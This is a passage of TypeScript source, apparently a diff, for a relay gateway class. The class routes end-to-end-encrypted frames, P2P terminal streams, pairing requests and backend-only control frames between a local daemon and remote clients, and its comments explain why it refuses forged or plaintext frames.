private readonly terminalP2p: TerminalP2pResponderPool+ private readonly p2pPendingOpens = new Map<string, Set<string>>()+ private readonly p2pStreams = new Map<string, Set<string>>()+ /**+ * The terminal streams each remote client has open, as the core's frames to it say: `terminal_ready`+ * opens one, `terminal_closed` ends it. A stream a client moves onto its P2P channel must be one it+ * has (the core's own `hasStream` answered this when the gateway ran inside the socket); a stream that+ * closed meanwhile is closed again by the `terminal_closed` that follows it, which takes it off P2P.+ */+ private readonly liveStreams = new Map<string, Set<string>>()+ /** Cross-instance commander (device) client count, from backend `__clients` frames. */+ private commanderCount = 0+ /** Subset of commanderCount whose device is ACTIVELY rendering this machine (multi-attach). null = the+ * backend doesn't send the signal (old build). */+ private commanderActive: number | null = null+ private replayedCommanderGeneration: number | undefined+ private replayCommanderOnNextSnapshot = true+ /** Appends to the device key log waiting for the backend's answer, by requestId. */+ private readonly devlogAppends = new Map<string, (payload: Record<string, unknown> | null) => void>()+ private readonly downChains = new Map<string, Promise<void>>()+ /**+ * Remote clients' frames wait here until the core is ready (`openRequests`), each in its connection's own+ * order: the port answers long before start-up has wired every handler, and a request answered in+ * between met a handler that was not there yet.+ */+ private requestsOpen = true+ private openRequestGate: () => void = () => {}+ private requestGate: Promise<void> = Promise.resolve()+ private localClientCount = 0+ private readonly directDeviceSinks = new Map<string, (frame: Frame) => void>()+ private readonly directDevicePins = new Map<string, string>()+ private autonomousDeviceRelay?: AutonomousDeviceRelay++ /** Answers the trust group's roster exchange (`group_sync`); null until the daemon wires it. */+ groupSync: { handle: (peerPub: string, payload: Record<string, unknown>) => Record<string, unknown> } | null = null+ /** The account's device key log grew (lib/e2ee/deviceLogSyncer.ts): re-read it from this machine's head. */+ onDeviceKeysChanged: (() => void) | null = null+ /** This machine's key was taken out of the account's device key log (`machine_revoked` says so). */+ onDeviceRemoved: ((pub: string) => void) | null = null+ /** Whether [pub] is this machine's own device key. Set, a `machine_revoked` naming another key (an earlier+ * install under the same machine id) does not sign this one out. Null: every removal signs out. */+ isOwnDeviceKey: ((pub: string) => boolean) | null = null+ /** The link to the backend just came up (each reconnect too). */+ onLinkUp: (() => void) | null = null+ onDirectDeviceRevoked?: (fingerprint: string) => void+ /** A peer linked here over the remote password (after it is trusted and, for a machine, pinned back). */+ onPeerLinked?: (peer: LinkedPeer) => void+ /** A person unpaired this identity here (not the trust group removing it). */+ onUnpaired?: (identityPub: string) => void++ constructor({ machineId, auth, computerId = '', autonomousEnv = 'prod', core }: RelayGatewayOptions) {+ this.machineId = machineId+ this.core = core+ this.link = new UpstreamLink({+ machineId, auth, computerId, autonomousEnv,+ events: {+ down: (frame, connId) => this.enqueueDown(frame, connId, 'relay'),+ binary: (connId, clientFrame) => this.enqueueTerminalBinary(connId, clientFrame),+ up: () => this.onLinkUp?.(),+ gone: () => this.linkGone(),+ status: (connected) => this.core.status(connected),+ revoked: () => this.core.revoked(),+ busy: () => this.core.busy(),+ localClients: () => this.localClientCount,+ },+ })+ this.e2ee = new E2eeManager({+ machineId: this.machineId,+ sendTo: (connId, frame) => this.sendTo(connId, frame),+ sendUser: (frame) => this.user(frame),+ isConnected: () => this.connected(),+ isConnectionAvailable: connId => this.directDeviceSinks.has(connId) || this.connected(),+ onIdentityPaired: (connId, pub) => { if (this.directDeviceSinks.has(connId)) this.directDevicePins.set(connId, pub) },+ onIdentityRevoked: identity => { this.autonomousDeviceRelay?.revoke(identity); this.onDirectDeviceRevoked?.(fingerprint(b64d(identity))) },+ onSessionOpened: (connId, role) => this.core.client(connId, { role, label: this.e2ee.sessionLabel(connId) }),+ onSessionDropped: (connId) => this.core.client(connId, null),+ onPeerLinked: (peer) => {+ // The mutual half of a password link: a machine that proved this one's password is pinned back,+ // so this machine can dial it without that machine's own password.+ if (peer.kind === 'machine' && peer.machineId && peer.machineId !== this.machineId) {+ new MachinePeerStore().pin(peer.machineId, peer.pub, peer.label)+ }+ this.onPeerLinked?.(peer)+ },+ onUnpaired: (pub) => this.onUnpaired?.(pub),+ })+ this.terminalP2p = new TerminalP2pResponderPool({+ sendSignal: (connId, type, payload) => this.sendP2pSignal(connId, type, payload),+ onData: (connId, data) => this.handleP2pData(connId, data),+ onUnavailable: (connId, reason) => this.demoteP2pConnection(connId, reason),+ })+ }++ // ── the link ───────────────────────────────────────────────────────────────────────────────────++ connect(): void { this.link.connect() }+ serveThisComputerOnly(): void { this.link.serveThisComputerOnly() }+ connected(): boolean { return this.link.isConnected() }++ async stop(): Promise<void> {+ // No reconnect from here on, whatever the socket does while the channels below close.+ this.link.close()+ await this.terminalP2p.stop()+ this.link.stop()+ }++ /** The link went down: no device can be watching, and every remote client went with it. */+ private linkGone(): void {+ // While the backend link is down we can neither observe device presence nor deliver a card, so+ // default the recap gate to OFF (safe value) instead of holding a stale count — otherwise a turn+ // completing during the gap burns a `claude -p` recap that goes nowhere. attachAdapter always+ // re-pushes the true count via recomputeAndSendClients on reconnect (and 0→N re-fires the replay).+ this.core.linkDown()+ this.setCommanderCount(0, null) // active count is unknown until the next __clients snapshot+ void this.terminalP2p.stop()+ this.p2pPendingOpens.clear()+ this.p2pStreams.clear()+ this.liveStreams.clear()+ this.replayCommanderOnNextSnapshot = true+ }++ /** The ONE place commander presence changes. Both callers — the `__clients` snapshot and the link going+ * down — mean the same thing when the count reaches zero: nobody is watching. They used to differ, and+ * the link's forgot to drop the device's E2EE session, so `deviceE2eeConnected()` stayed true and the+ * local dashboard kept a green "device connected" dot for a device long gone. */+ private setCommanderCount(commander: number, active: number | null): void {+ this.commanderCount = commander+ this.commanderActive = active+ this.core.commanders(commander, active)+ if (commander <= 0) {+ if (this.directDeviceSinks.size) this.e2ee.dropSessionsByRole('device', id => this.directDeviceSinks.has(id))+ else this.e2ee.dropSessionsByRole('device')+ }+ }++ holdRequests(): void {+ if (!this.requestsOpen) return+ this.requestsOpen = false+ this.requestGate = new Promise<void>((resolve) => { this.openRequestGate = resolve })+ }++ openRequests(): void {+ if (this.requestsOpen) return+ this.requestsOpen = true+ this.openRequestGate()+ }++ windowOpened(): void { this.link.sendAppPresence('open') }++ localClients(count: number): void {+ this.localClientCount = count+ if (count === 0) this.link.noLocalClients()+ }++ // ── out, to remote clients ───────────────────────────────────────────────────────────────────────++ /** User-content events are group-encrypted (E2EE) here; system frames pass through as plaintext. */+ broadcast(frame: Frame): void {+ if (this.link.servesThisComputerOnly()) return+ this.link.enqueue({ t: 'up', frame: this.e2ee.wrapUp(frame) })+ }++ /** A DEVICE-audience frame (commanderEligible, not web). User/data frames are group-encrypted (E2EE)+ * here so the backend relays only ciphertext; system/presence frames pass through. */+ commander(frame: Frame): void {+ deviceDump.record('out', 'commander', undefined, frame)+ if (this.link.servesThisComputerOnly()) return+ this.link.enqueue({ t: 'up', webEligible: false, commanderEligible: true, frame: this.e2ee.wrapCommander(frame) })+ }++ /** Send a user-level notification to every logged-in browser that owns this machine. */+ user(frame: Frame): void {+ this.link.enqueue({ t: 'up', userEligible: true, webEligible: false, frame })+ }++ /** Send an up-frame to exactly ONE web connection (E2EE pairing/welcome + targeted RPC replies). */+ observer(connId: string, type: string, payload: Record<string, unknown>): boolean {+ return this.link.sendBestEffort({ t: 'up', targetConnId: connId, webEligible: false, commanderEligible: false, frame: { type, payload } })+ }++ /** A frame to one connection as it is: a device's direct link, a window on this computer (an answer to+ * something it asked here), or the relay. */+ private sendTo(connId: string, frame: Frame): void {+ // Handshake frames only: device RPC, legacy replies and broadcasts are recorded in the clear where built.+ if (typeof frame.type === 'string' && frame.type.startsWith('e2e_') && deviceDump.enabled && this.isDeviceConn(connId)) deviceDump.record('out', 'wire', connId, frame)+ const direct = this.directDeviceSinks.get(connId)+ if (direct) { direct(frame); return }+ // Only its own socket ever reached a window on this computer: the core has it, or it has gone. Queued+ // for the relay, the frame would wait for a connection the backend has never heard of.+ if (isLocalClientId(connId)) { this.core.toLocal(connId, frame); return }+ this.link.enqueue({ t: 'up', targetConnId: connId, frame })+ }++ /** Pairwise-encrypt a connection-targeted non-RPC frame (a viewer's); false with no session or no link. */+ target(connId: string, type: string, payload: Record<string, unknown>): boolean {+ if (!this.connected()) return false+ const frame = this.e2ee.wrapTarget(connId, type, payload)+ if (!frame) return false+ this.sendTo(connId, frame)+ return true+ }++ /** Pairwise terminal output is never queued across reconnect: the stream/lease is closed on link loss. */+ terminal(connId: string, type: string, payload: Record<string, unknown>): boolean {+ const frame = this.e2ee.wrapTarget(connId, type, payload)+ if (!frame) return false+ this.noteLiveStream(connId, type, payload)+ if (this.routeTerminalOutputToP2p(connId, type, payload)) {+ if (this.terminalP2p.send(connId, JSON.stringify(frame))) return true+ this.demoteP2pConnection(connId, 'send_failed')+ }+ return this.link.sendBestEffort({+ t: 'up',+ targetConnId: connId,+ webEligible: true,+ commanderEligible: false,+ frame,+ })+ }++ /** Pairwise-encrypted binary terminal output/keyframe. The hop prefix exposes+ * only connId and direction to the opaque backend relay. */+ terminalBinary(connId: string, clear: TerminalBinaryClear): boolean {+ const clientFrame = this.e2ee.wrapTerminalBinary(connId, clear)+ if (!clientFrame) return false+ if (this.p2pStreams.get(connId)?.has(clear.streamId)) {+ if (this.terminalP2p.send(connId, Buffer.from(clientFrame))) return true+ this.demoteP2pConnection(connId, 'send_failed')+ }+ const packet = encodeTerminalHop(TerminalHopDirection.up, connId, clientFrame)+ if (!packet) return false+ return this.link.sendBinary(packet)+ }++ /**+ * The reply to a remote client's request. For an E2EE-session requester whose result carries user+ * content, the reply is encrypted with that connection's session key and delivered ONLY to it.+ * Content-bearing adapter data is never returned plaintext: even legacy backend nodeRequest+ * (`connId === ''`) gets only an error.+ */+ reply(connId: string, type: string, requestId: unknown, payload: Record<string, unknown>): void {+ const resultType = rpcResultType(type)+ // A window on this computer asked the gateway (`local`): it has the plain reply it always had.+ if (isLocalClientId(connId)) { this.core.toLocal(connId, { type: resultType, payload: { requestId, ...payload } }); return }+ if (connId && deviceDump.enabled && this.e2ee.sessionRole(connId) === 'device') deviceDump.record('out', 'legacy', connId, { type: resultType, payload: { requestId, ...payload } })+ if (connId && this.e2ee.hasSession(connId) && encryptRpcResult(resultType)) {+ let replyPayload = payload+ // ⚠️ The DIAL's frame budget, so only a dial's reply is fitted to it. The phone app and a remote+ // desktop are `web` sessions and search this reply for the agent's latest answer: fitted, a reply+ // over ~15KB dropped to one event without its `fullText`, so any agent doing real work — long+ // answers — could not be found by what it had just said.+ if (resultType === 'agent_recent_result' && this.e2ee.sessionRole(connId) === 'device') {+ const trim = fitRecentReplyPayloadForDevice(+ payload,+ (candidate) => this.e2ee.rpcReplyFrameBytes(connId, resultType, requestId, candidate),+ )+ replyPayload = trim.payload+ if (trim.trimmed) {+ console.warn(+ `[recent-trim] agent=${String(payload.agentId ?? '')} originalFrame=${trim.originalBytes ?? 'unknown'} ` ++ `finalFrame=${trim.finalBytes ?? 'unknown'} target=${DEVICE_RECENT_SAFE_FRAME_BYTES} ` ++ `textBytes=${trim.textBytes} recapBytes=${trim.recapBytes}`,+ )+ }+ }+ const wrapped = this.e2ee.wrapRpcReply(connId, resultType, requestId, replyPayload)+ if (wrapped) { this.sendTo(connId, wrapped); return }+ }+ // Enforcement ("no E2EE ⇒ no adapter data"): a content-bearing reply that could not be sealed is a+ // bare E2EE_REQUIRED, never its content in the clear. Either way it goes to the requester alone:+ // broadcast, a reply went to every web client of this machine and every window on it, though each+ // app takes a reply by its own request id and ignores the rest (ws_conn.dart in the desktop and+ // phone apps, hn's daemon.rs, the CLI's relay pool). The backend's own nodeRequest (`connId === ''`)+ // has no connection to be answered on: it hears the reply on the bus, and fails closed on the error;+ // the windows on this computer hear it too, as they did when it went out with every event.+ const reply = { type: resultType, payload: encryptRpcResult(resultType) ? { requestId, error: 'E2EE_REQUIRED' } : { requestId, ...payload } }+ if (connId) { this.sendTo(connId, reply); return }+ this.core.toLocal('', reply)+ this.broadcast(reply)+ }++ /**+ * Append one entry to the account's device key log, over this machine's own socket — the backend+ * ties a machine's entries to the machine that sent them. Resolves to the backend's answer+ * (`{head}` or `{error, head?}`), or null when it did not come in time.+ */+ appendDeviceLog(entry: Record<string, unknown>, timeoutMs = 15_000): Promise<Record<string, unknown> | null> {+ const requestId = `dl-${Date.now().toString(36)}-${Math.random().toString(36).slice(2, 8)}`+ return new Promise((resolve) => {+ const timer = setTimeout(() => { this.devlogAppends.delete(requestId); resolve(null) }, timeoutMs)+ timer.unref?.()+ this.devlogAppends.set(requestId, (payload) => { clearTimeout(timer); resolve(payload) })+ this.link.enqueue({ t: 'up', webEligible: false, frame: { type: 'devlog_append', payload: { requestId, entry } } })+ })+ }++ // ── in, from remote clients ──────────────────────────────────────────────────────────────────────++ private enqueueDown(frame: Frame, connId: string, transport: RemoteTransport): void {+ const key = connId || '__backend__'+ const previous = this.downChains.get(key) ?? Promise.resolve()+ const next = previous+ .catch(() => { /* prior failure is already logged */ })+ .then(() => this.requestGate)+ .then(() => this.dispatchDown(frame, connId, transport))+ .catch((err) => {+ console.error('[backend] down-frame dispatch failed:', err instanceof Error ? err.message : err)+ })+ .finally(() => {+ if (this.downChains.get(key) === next) this.downChains.delete(key)+ })+ this.downChains.set(key, next)+ }++ private enqueueTerminalBinary(connId: string, raw: Uint8Array): void {+ const key = connId || '__backend__'+ const previous = this.downChains.get(key) ?? Promise.resolve()+ const next = previous+ .catch(() => { /* prior failure is already logged */ })+ .then(async () => {+ const clear = this.e2ee.unwrapTerminalBinary(connId, raw)+ if (clear) await this.core.binary(connId, clear)+ else { const gone = this.e2ee.terminalSessionGone(connId, raw); if (gone) this.sendTo(connId, gone) }+ })+ .catch((err) => {+ console.error('[backend] binary terminal dispatch failed:', err instanceof Error ? err.message : err)+ })+ .finally(() => {+ if (this.downChains.get(key) === next) this.downChains.delete(key)+ })+ this.downChains.set(key, next)+ }++ /**+ * One frame from the relay or a client's P2P channel, in its connection's order. What the gateway+ * answers itself (the handshake, the backend's control frames, the pairings) it answers here; a client's+ * request goes on to the core opened, with the role of the session it opened under.+ */+ async dispatchDown(frame: Frame, connId: string, transport: RemoteTransport = 'relay'): Promise<void> {+ const type = frame.type as string | undefined+ if (!type) return+ // A relayed connection never names a window on this computer: the backend's connection ids are its+ // own UUIDs (backend/src/lib/hub.ts), and a window's is minted by the local socket. Read as local, a+ // relayed frame on a live window's id would take that window's trust; the gateway never lets one+ // that far.+ if (isLocalClientId(connId)) {+ console.warn(`[backend] ignoring ${logSafeType(type)} from ${transport} on a local connection id`)+ return+ }+ // ⚠️ The backend's own instructions, refused from anywhere else. See BACKEND_ONLY_DOWN_TYPES.+ // `transport === 'relay'` rather than "not local", so this keeps holding if the p2p allowlist+ // (`TERMINAL_P2P_DOWN_TYPES`) ever widens.+ //+ // Deliberately ABOVE the observer hand-off below. A genuine observer frame is `relay`, so this+ // never intercepts one; but placed after it, a forged `observer:` connId on a p2p frame would be+ // swallowed by Share and returned without ever reaching this line — silently, with no warning. The+ // grid-name incident was exactly a bypass nobody could see.+ if (transport !== 'relay' && BACKEND_ONLY_DOWN_TYPES.has(type)) {+ console.warn(`[backend] ignoring ${type} from ${transport} (${connId}) — only the backend may send it`)+ return+ }+ if (connId.startsWith('observer:')) {+ await this.core.observer(connId, type, (frame.payload ?? {}) as Record<string, unknown>)+ return+ }+ if (type.startsWith('observer_')) return+ // E2EE control frames (pairing/handshake) are handled by the manager, never as node RPCs.+ if (type.startsWith('e2e_')) {+ const deviceBefore = deviceDump.enabled && (this.isDeviceConn(connId) || (type === 'e2e_pair_intent' && (frame.payload as { role?: unknown } | undefined)?.role === 'device'))+ if (deviceBefore) deviceDump.record('in', 'wire', connId, frame)+ this.e2ee.handleFrame(connId, frame)+ // A reconnecting device is only known as one once its hello has been accepted.+ if (!deviceBefore && deviceDump.enabled && this.isDeviceConn(connId)) deviceDump.record('in', 'wire', connId, frame)+ return+ }+ if (type === 'autonomous_device_request') {+ await this.autonomousDeviceRelay?.handle(connId, frame)+ return+ }+ // ⚠️ Default-deny: the relay is NOT trusted. A frame is acted on only if it opens under this connId's+ // E2EE session — whatever its type — or is one of the backend's own plaintext frames. A list of+ // "sensitive" types to check instead fails open: every type missing from it, including ones added+ // later, would be taken in the clear.+ //+ // The backend's own control frames are the mirror image: only ever plaintext, because the backend+ // holds no key — so one that arrives SEALED was sealed by a paired client, and opening it would let+ // that client speak as the backend (`machine_meta` repoints this computer's grid).+ const from = `${transport} (${connId ? `conn:${sid(connId)}` : 'backend'})`+ const wrapped = isWrapped(frame.payload)+ if (type.startsWith('__') || BACKEND_ONLY_DOWN_TYPES.has(type)) {+ // And only on the backend's OWN address: it sends these with `connId: ''`, while every frame a+ // client sends arrives stamped with that client's connId — so a client-shaped one was relayed, not+ // written by the backend, whichever socket let it through. `__client_disconnected` is the one the+ // hub addresses to a client's own connId; it only tears down that connection's state.+ if (transport !== 'relay' || wrapped || (connId !== '' && type !== '__client_disconnected')) {+ console.warn(`[backend] ignoring ${logSafeType(type)} from ${from} — only the backend sends it, and only in the clear`)+ return+ }+ if (deviceDump.enabled && this.e2ee.sessionRole(connId) === 'device') deviceDump.record('in', 'legacy', connId, frame)+ this.logRequest(connId, frame)+ await this.backendControl(type, frame, connId)+ return+ }+ if (!wrapped) {+ console.warn(`[backend] refusing plaintext ${logSafeType(type)} from ${from} — E2EE required`)+ const requestId = (frame.payload as { requestId?: unknown } | undefined)?.requestId+ if (requestId !== undefined) this.reply(connId, type, requestId, { error: 'E2EE_REQUIRED' })+ return+ }+ const opened = this.e2ee.unwrapDown(connId, frame)+ // Sealed for a session this process never had: told, rather than dropped without a word.+ if (!opened) { const gone = this.e2ee.sessionGone(connId, frame); if (gone) this.sendTo(connId, gone); return }+ // Opened under this connection's session, so it has one: its role is who asked.+ const role = this.e2ee.sessionRole(connId) as RemoteRole+ if (deviceDump.enabled && role === 'device') deviceDump.record('in', 'legacy', connId, opened)+ if (TERMINAL_P2P_SIGNAL_TYPES.has(type)) {+ await this.terminalP2p.handleSignal(connId, type, opened.payload)+ return+ }+ const payload = (opened.payload ?? {}) as Record<string, unknown>+ // Trust-group roster exchange: only over an E2EE session, from the identity that session proved —+ // the roster carries the keys this machine trusts, and the peer's own entry must be that identity.+ if (type === 'group_sync') {+ this.logRequest(connId, opened)+ const peerPub = this.e2ee.sessionIdentity(connId)+ if (!peerPub || role !== 'web' || !this.groupSync) { this.reply(connId, type, payload.requestId, { error: 'UNSUPPORTED' }); return }+ try { this.reply(connId, type, payload.requestId, this.groupSync.handle(peerPub, payload)) } catch { this.reply(connId, type, payload.requestId, { error: 'GROUP_SYNC_FAILED' }) }+ return+ }+ if (GATEWAY_REQUEST_TYPES.has(type)) {+ this.logRequest(connId, opened)+ await this.manage(connId, type, payload)+ return+ }+ if (type.startsWith('terminal_')) this.noteTerminalInputRoute(connId, type, payload, transport)+ await this.core.frame(connId, opened, transport, role)+ }++ /** The backend's own control frames, checked by the caller: in the clear, over the relay, on its own address. */+ private async backendControl(type: string, frame: Frame, connId: string): Promise<void> {+ // Cross-instance client snapshot. Generation detects leave/join cycles that coalesce to the same+ // count; count rise remains the compatibility fallback for older backends.+ if (type === '__clients') {+ const payload = (frame.payload ?? {}) as { commander?: number; commanderActive?: number; commanderJoinGeneration?: number }+ const commander = Number(payload.commander ?? 0)+ const rawGeneration = payload.commanderJoinGeneration+ const generation = typeof rawGeneration === 'number' && Number.isSafeInteger(rawGeneration) && rawGeneration >= 0+ ? rawGeneration+ : undefined+ const replay = shouldReplayCommander(+ this.commanderCount,+ commander,+ this.replayedCommanderGeneration,+ generation,+ this.replayCommanderOnNextSnapshot,+ )+ this.setCommanderCount(commander, payload.commanderActive != null ? Number(payload.commanderActive) : null)+ if (replay) {+ this.replayCommanderOnNextSnapshot = false+ if (generation != null) this.replayedCommanderGeneration = generation+ this.core.commanderJoined()+ }+ return+ }+ if (type === '__client_disconnected') {+ // The backend is authoritative for the outer connId. Drop both kinds of+ // connection-scoped state immediately; otherwise a dead Desktop keeps a+ // terminal controller lease until the 30-second heartbeat timeout.+ this.autonomousDeviceRelay?.drop(connId)+ this.e2ee.dropSession(connId)+ await this.terminalP2p.closeConnection(connId, 'client_disconnected', false)+ this.p2pPendingOpens.delete(connId)+ this.p2pStreams.delete(connId)+ this.liveStreams.delete(connId)+ await this.core.disconnected(connId)+ return+ }+ // Other backend-hub internal control frames (__clients_dirty) — not for us; drop silently.+ if (type.startsWith('__')) return++ // The machine was deleted/revoked from the web → stop for good (don't reconnect) and let the CLI+ // clear the saved token. Closing the link blocks the reconnect that would otherwise fire on socket drop.+ if (type === 'machine_revoked') {+ const p = (typeof frame.payload === 'object' && frame.payload !== null ? frame.payload : {}) as { reason?: unknown; pub?: unknown }+ // Another key under this machine id was removed — an earlier install of this computer that this one+ // waits behind (`device_conflict`). The frame goes to the machine id, so it reaches this install too:+ // that removal is what lets this key register, not a sign-out. Re-read the log instead.+ if (p.reason === 'device_removed' && typeof p.pub === 'string' && this.isOwnDeviceKey && !this.isOwnDeviceKey(p.pub)) {+ this.onDeviceKeysChanged?.()+ return+ }+ this.link.close()+ // Removed from the account's device key log (not just signed out): the key itself is spent.+ if (p.reason === 'device_removed' && typeof p.pub === 'string') {+ try { this.onDeviceRemoved?.(p.pub) } catch { /* signing out still happens */ }+ }+ this.core.revoked()+ return+ }++ // The account's tabs changed on another computer (or in another window of this one): hand the+ // window the revision and let it fetch `/api/desk` through this daemon. Backend-only, like+ // machine_meta — a local client cannot make the window re-read anything by sending this.+ if (type === 'desk_changed' || type === 'zoo_changed') {+ const revision = (typeof frame.payload === 'object' && frame.payload !== null ? (frame.payload as { revision?: unknown }).revision : undefined)+ this.core.notice({ type, revision: typeof revision === 'number' ? revision : 0 })+ return+ }++ // The account's device key log grew: this daemon re-reads and verifies it (deviceLogSyncer.ts), and+ // the window re-reads its Devices list. Backend-only for the same reason as desk_changed.+ if (type === 'device_keys_changed') {+ this.onDeviceKeysChanged?.()+ this.core.notice({ type: 'device_keys_changed' })+ return+ }+ // The backend's answer to this machine's own append to the device key log.+ if (type === 'devlog_append_result') {+ const p = (typeof frame.payload === 'object' && frame.payload !== null ? frame.payload : {}) as Record<string, unknown>+ const done = typeof p.requestId === 'string' ? this.devlogAppends.get(p.requestId) : undefined+ if (done) { this.devlogAppends.delete(p.requestId as string); done(p) }+ return+ }++ // The account's machine list changed on some worker — a machine created / renamed / deleted, or a+ // shared harness invited / taken back. The window re-reads `/api/machines` through this daemon; this+ // push is why it does not have to poll for that. Backend-only for the same reason as desk_changed.+ if (type === 'machines_changed') {+ const reason = (typeof frame.payload === 'object' && frame.payload !== null ? (frame.payload as { reason?: unknown }).reason : undefined)+ this.core.notice({ type: 'machines_changed', reason: typeof reason === 'string' ? reason : 'updated' })+ return+ }++ // Machine display name (seed on connect + web renames) — mirrored locally for `harness status`.+ if (type === 'machine_meta') {+ // ⚠️ The BACKEND's frame and nobody else's. It carries this machine's display name and, more+ // to the point, the account's private grid — the grid every agent on this computer is then+ // pointed at. Accepted from any transport, it let a process that could open the daemon's local+ // port redirect the account's inference somewhere of its choosing, and a leftover test script+ // doing exactly that by accident cost hours to find. No client sends this frame; there is+ // nothing to be compatible with. The source check is in the caller.+ //+ // A malformed/hostile frame's payload need not be an object; `'gridName' in meta` would throw+ // on a primitive (and drop the whole frame). Guard the type first, the way the plain property+ // reads elsewhere in this dispatcher tolerate one.+ const meta = (typeof frame.payload === 'object' && frame.payload !== null ? frame.payload : {}) as { name?: unknown; gridName?: unknown }+ // The account's private grid, pushed on connect. Held in memory only: it is the backend's+ // value, and a daemon that cached it on disk would keep answering with a stale one after the+ // account's grid changed. Only ACT on the key when it is present: the connect frame always+ // carries it (a string or null), but a rename pushes `{name}` alone — and treating that+ // absence as null used to WIPE a grid name a moment after it was set, leaving the picker+ // empty. Absent ⇒ unchanged; null ⇒ this account has none; a string ⇒ that grid.+ const said: { name?: string | null; gridName?: string | null } = {}+ if ('gridName' in meta) said.gridName = typeof meta.gridName === 'string' && meta.gridName.trim() ? meta.gridName.trim() : null+ // The same rule for the name: a frame that does not carry it leaves it as it was.+ if ('name' in meta) said.name = typeof meta.name === 'string' && meta.name.trim() ? meta.name.trim() : null+ this.core.meta(said)+ }+ }++ /** A request the gateway answers itself, logged as the core logs the ones it answers. */+ private logRequest(connId: string, frame: Frame): void {+ const type = String(frame.type)+ if (env.LOG_FRAMES && type !== 'phone_pair' && !type.startsWith('pair')) logFrame('←', connId ? `conn:${sid(connId)}` : 'backend', frame)+ }++ /** A local connection's E2EE management request, handed over by the core. */+ async local(connId: string, frame: Frame): Promise<void> {+ const type = typeof frame.type === 'string' ? frame.type : ''+ if (!GATEWAY_REQUEST_TYPES.has(type)) return+ await this.manage(connId, type, (frame.payload ?? {}) as Record<string, unknown>)+ }++ /** The E2EE management requests (GATEWAY_REQUEST_TYPES), from a remote client or a window here. */+ private async manage(connId: string, type: string, payload: Record<string, unknown>): Promise<void> {+ try {+ switch (type) {+ case 'device_e2ee_pair':+ await this.e2ee.pairDeviceFromTrustedWeb(connId, payload)+ return+ case 'phone_pair':+ // CPace waits for another connection. Do not block this browser's terminal queue.+ void this.e2ee.pairPhoneFromTrustedWeb(connId, payload)+ return+ case 'e2ee_pairings_list':+ this.reply(connId, type, payload.requestId, { pairs: this.e2ee.listPaired(connId) })+ return+ case 'e2ee_pairing_unpair':+ this.e2ee.revokeFromTrustedWeb(connId, payload)+ return+ default: // e2ee_pairings_unpair_all+ this.e2ee.revokeAllFromTrustedWeb(connId, payload.requestId)+ return+ }+ } catch (err) {+ console.error(`[backend] dispatch ${type} failed:`, err)+ if (payload.requestId !== undefined) this.reply(connId, type, payload.requestId, { error: 'INTERNAL' })+ }+ }++ // ── P2P terminal channels ────────────────────────────────────────────────────────────────────────++ private sendP2pSignal(connId: string, type: string, payload: TerminalP2pSignal): void {+ const frame = this.e2ee.wrapTarget(connId, type, { ...payload })+ if (frame) this.sendTo(connId, frame)+ }++ private handleP2pData(connId: string, data: TerminalP2pData): void {+ if (typeof data === 'string') {+ if (Buffer.byteLength(data, 'utf8') > 512 * 1024) return+ let frame: Frame+ try { frame = JSON.parse(data) as Frame } catch { return }+ if (typeof frame.type !== 'string' || !TERMINAL_P2P_DOWN_TYPES.has(frame.type)) return+ this.enqueueDown(frame, connId, 'p2p')+ return+ }+ if (data.length > 512 * 1024) return+ this.enqueueTerminalBinary(connId, data)+ }++ /** What the core has told a remote client about its terminal streams: one opened, one closed. */+ private noteLiveStream(connId: string, type: string, payload: Record<string, unknown>): void {+ const streamId = typeof payload.streamId === 'string' ? payload.streamId : ''+ if (!streamId) return+ if (type === 'terminal_ready') {+ let streams = this.liveStreams.get(connId)+ if (!streams) { streams = new Set(); this.liveStreams.set(connId, streams) }+ streams.add(streamId)+ } else if (type === 'terminal_closed') {+ const streams = this.liveStreams.get(connId)+ streams?.delete(streamId)+ if (streams?.size === 0) this.liveStreams.delete(connId)+ }+ }++ private noteTerminalInputRoute(+ connId: string,+ type: string,+ payload: Record<string, unknown>,+ transport: RemoteTransport,+ ): void {+ if (type === 'terminal_open' && typeof payload.requestId === 'string') {+ let pending = this.p2pPendingOpens.get(connId)+ if (!pending) { pending = new Set(); this.p2pPendingOpens.set(connId, pending) }+ if (transport === 'p2p') pending.add(payload.requestId)+ else pending.delete(payload.requestId)+ return+ }+ const streamId = typeof payload.streamId === 'string' ? payload.streamId : ''+ // Live-migration promotion: the client's remoteRelay.ts sends a SECOND terminal_resync over p2p+ // (after the first one, over relay, already drained/snapshotted the stream) once its own p2p+ // channel is ready — arriving here is our signal to start routing this stream's OUTPUT over p2p+ // too, mirroring what the client just did on its side. The live-stream check guards against+ // promoting a streamId whose pane was closed in the same instant the migration was in flight.+ if (type === 'terminal_resync' && transport === 'p2p' && streamId+ && this.liveStreams.get(connId)?.has(streamId)) {+ let streams = this.p2pStreams.get(connId)+ if (!streams) { streams = new Set(); this.p2pStreams.set(connId, streams) }+ streams.add(streamId)+ return+ }+ if (transport !== 'p2p' && streamId) this.p2pStreams.get(connId)?.delete(streamId)+ }++ private routeTerminalOutputToP2p(connId: string, type: string, payload: Record<string, unknown>): boolean {+ const requestId = typeof payload.requestId === 'string' ? payload.requestId : ''+ const streamId = typeof payload.streamId === 'string' ? payload.streamId : ''+ const pending = this.p2pPendingOpens.get(connId)+ if ((type === 'terminal_ready' || type === 'terminal_error') && requestId && pending?.has(requestId)) {+ pending.delete(requestId)+ if (pending.size === 0) this.p2pPendingOpens.delete(connId)+ if (type === 'terminal_ready' && streamId) {+ let streams = this.p2pStreams.get(connId)+ if (!streams) { streams = new Set(); this.p2pStreams.set(connId, streams) }+ streams.add(streamId)+ }+ return true+ }+ const streams = this.p2pStreams.get(connId)+ const selected = !!streamId && streams?.has(streamId) === true+ if (selected && type === 'terminal_closed') {+ streams!.delete(streamId)+ if (streams!.size === 0) this.p2pStreams.delete(connId)+ }+ return selected+ }++ private demoteP2pConnection(connId: string, reason: string): void {+ this.p2pPendingOpens.delete(connId)+ this.p2pStreams.delete(connId)+ console.warn(`[terminal-p2p] conn=${sid(connId)} fallback=relay reason=${reason}`)+ }++ // ── the Wi-Fi device's direct links, which ride the same E2EE sessions ──────────────────────────++ /** A connection that is, or is pairing as, an Autonomous device — what the device dump records. */+ private isDeviceConn(connId: string): boolean {+ return this.directDeviceSinks.has(connId) || this.e2ee.sessionRole(connId) === 'device'+ || (this.e2ee.pendingConnection() === connId && this.e2ee.pendingPair()?.role === 'device')+ }+ attachDirectDevice(connId: string, send: (frame: Frame) => void): void { this.directDeviceSinks.set(connId, send) }+ detachDirectDevice(connId: string): void {+ this.directDeviceSinks.delete(connId); this.directDevicePins.delete(connId); this.e2ee.dropSession(connId); 